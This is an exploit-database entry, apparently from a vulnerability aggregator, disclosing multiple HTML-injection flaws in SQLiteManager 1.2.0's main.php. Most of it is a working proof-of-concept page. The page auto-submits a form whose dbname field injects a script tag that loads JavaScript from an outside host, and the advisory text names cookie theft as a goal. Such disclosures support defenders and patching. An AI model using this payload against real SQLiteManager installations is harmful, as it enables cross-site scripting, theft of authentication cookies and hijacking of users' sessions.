SQLiteManager 1.2 Main.PHP Multiple HTML Injection Vulnerabilities

🗓️ 01 Jul 2014 00:00:00Reported by RootType

SQLiteManager 1.2 Main.PHP HTML Injection Vulnerabilitie


                                                source: http://www.securityfocus.com/bid/22731/info

SQLiteManager is prone to multiple HTML-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input data.

Exploiting these issues may allow an attacker to execute HTML and script code in the context of the affected site, to steal cookie-based authentication credentials, or to control how the site is rendered to the user; other attacks are also possible.

Version 1.2.0 is vulnerable; other versions may also be affected. 

&#60;!DOCTYPE html PUBLIC &#34;-//W3C//DTD XHTML 1.0 Transitional//EN&#34; &#34;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&#34;&#62; &#60;html&#62; &#60;head&#62; &#60;body&#62; &#60;form id=&#34;editform&#34; name=&#34;editform&#34; method=&#34;post&#34; action=&#34;http://www.example.com/sqlitemanager/main.php&#34; enctype=&#34;multipart/form-data&#34;&#62; &#60;input type=&#34;text&#34; name=&#34;dbname&#34; value=&#39;&#34;&#62;&#60;script src=http://www.0x000000.com/x.js&#62;&#60;/script&#62;&#60;&#34;&#39; /&#62; &#60;input type=&#34;text&#34; name=&#34;dbVersion&#34; value=&#34;2&#34; /&#62; &#60;input type=&#34;text&#34; name=&#34;dbRealpath&#34; value=&#34;&#34; /&#62; &#60;input type=&#34;text&#34; name=&#34;filename&#34; value=&#34;&#34; /&#62; &#60;input type=&#34;text&#34; name=&#34;dbpath&#34; value=&#34;&#34; /&#62; &#60;input type=&#34;text&#34; name=&#34;action&#34; value=&#34;saveDb&#34; /&#62; &#60;input name=&#34;Save&#34; value=&#34;Save page&#34; type=&#34;submit&#34;&#62; &#60;/form&#62; &#60;script&#62;document.forms[0].submit();&#60;/script&#62; &#60;/body&#62; &#60;/html&#62;

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1